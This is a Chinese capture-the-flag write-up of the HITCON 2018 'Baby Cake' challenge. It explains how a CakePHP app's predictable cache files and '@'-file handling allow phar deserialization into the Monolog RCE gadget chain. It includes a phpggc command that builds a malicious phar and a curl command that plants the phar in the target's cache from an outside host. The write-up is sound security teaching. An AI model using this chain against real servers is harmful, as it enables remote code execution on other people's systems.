前言
本篇文章,将以 HITCON2018 中的 Baby Cake 为例,继续练习 PHP POP链 寻找,题目 docker 环境地址:https://github.com/Tiaonmmn/hitcon_2018_babycake 。题目所使用的框架为 Cake PHP ,具体可以参考:https://book.cakephp.org。
漏洞点发掘
题目界面如下:
我们先来看整个应用的 web 路由。通过查看 config/routes.php 文件,我们可以发现其入口点是 PagesController 类中的 display 方法.。(下图 第13行 )
我们跟进 display 方法,发现 $url 只能以 http、https 开头,请求方法支持 get、post、put、delete、patch 五种。
然后会先判断缓存中是否存在相关页面内容及请求头(上图 第22行 ),如果存在,则直接用 file_get_contents 从缓存中获取,其中请求头的内容还会反序列化一次,这里我们先暂且记下。缓存文件的路径是可以预测的,这对我们之后的攻击十分有利。(下图 第21行 )
如果缓存文件不存在的话,就会先调用 PagesController 类的 httpclient 方法生成一个 Client 类,通过 Client 类生成响应数据,然后再将响应数据通过 PagesController 类的 cache_set 方法分别写入 body.cache 和 headers.cache 文件。其具体代码如下:
我们再来看这个响应数据是如何生成的,其调用了 Client 类的 get 方法(对应上图代码 第25行 。当然,这是在发起 GET 请求的基础上)。
我们跟进 _doRequest 方法,发现其调用了 _createRequest 方法,而 _createRequest 方法中实例了一个 Request 对象,该对象在创建时,又会调用 body 方法,我们继续跟进该方法。
如果我们传入的数据是数组类型的话, body 方法就会调用 FormData 类的 addMany 方法,然后 addMany 方法再调用 add 方法。而这个 add 方法我们需要注意一下,这是一个弃用功能,然而程序运行到这里时,并没有直接退出,还是继续调用 addFile 方法。他会把以 @ 符号开头的字符串当做被上传文件的路径,并调用 addFile 方法进行上传,其功能类似 curl 命令上传文件行为,具体代码如下:
我们看到 addFile 方法里面用到了 file_get_contents 函数获取内容,而且参数 $value 是我们可控的。那么我们便可结合前面的缓存功能,将构造的 phar 文件存入缓存文件中,由于缓存文件路径可知,我们便可通过 phar反序列化 进行攻击。
POP链构造
找到利用点之后,我们再来寻找 POP链 ,先来看看题目中用到的组件。
我们发现题目用到了 monolog 组件版本为 1.23 ,然而这个版本的 monolog 却存在 RCE ,我们可以通过 phpggc 来了解一下。
其反序列化触发 RCE 时,类方法调用过程如下:
完成攻击
理清上面整个 POP链 后,我们可以直接用 phpggc 生成攻击用的 phar 文件,命令如下:
1 | ./phpggc -p phar -o /var/www/html/demo.phar Monolog/RCE1 system id |
生成恶意 phar 文件后,我们先将该文件存入 Web 应用的缓存中:
1 | curl http://题目IP/?url=http://xx.xx.xx.xx/demo.phar |
然后根据代码计算出缓存文件存放路径,最后再发起一个 POST 请求,完成 phar反序列化 。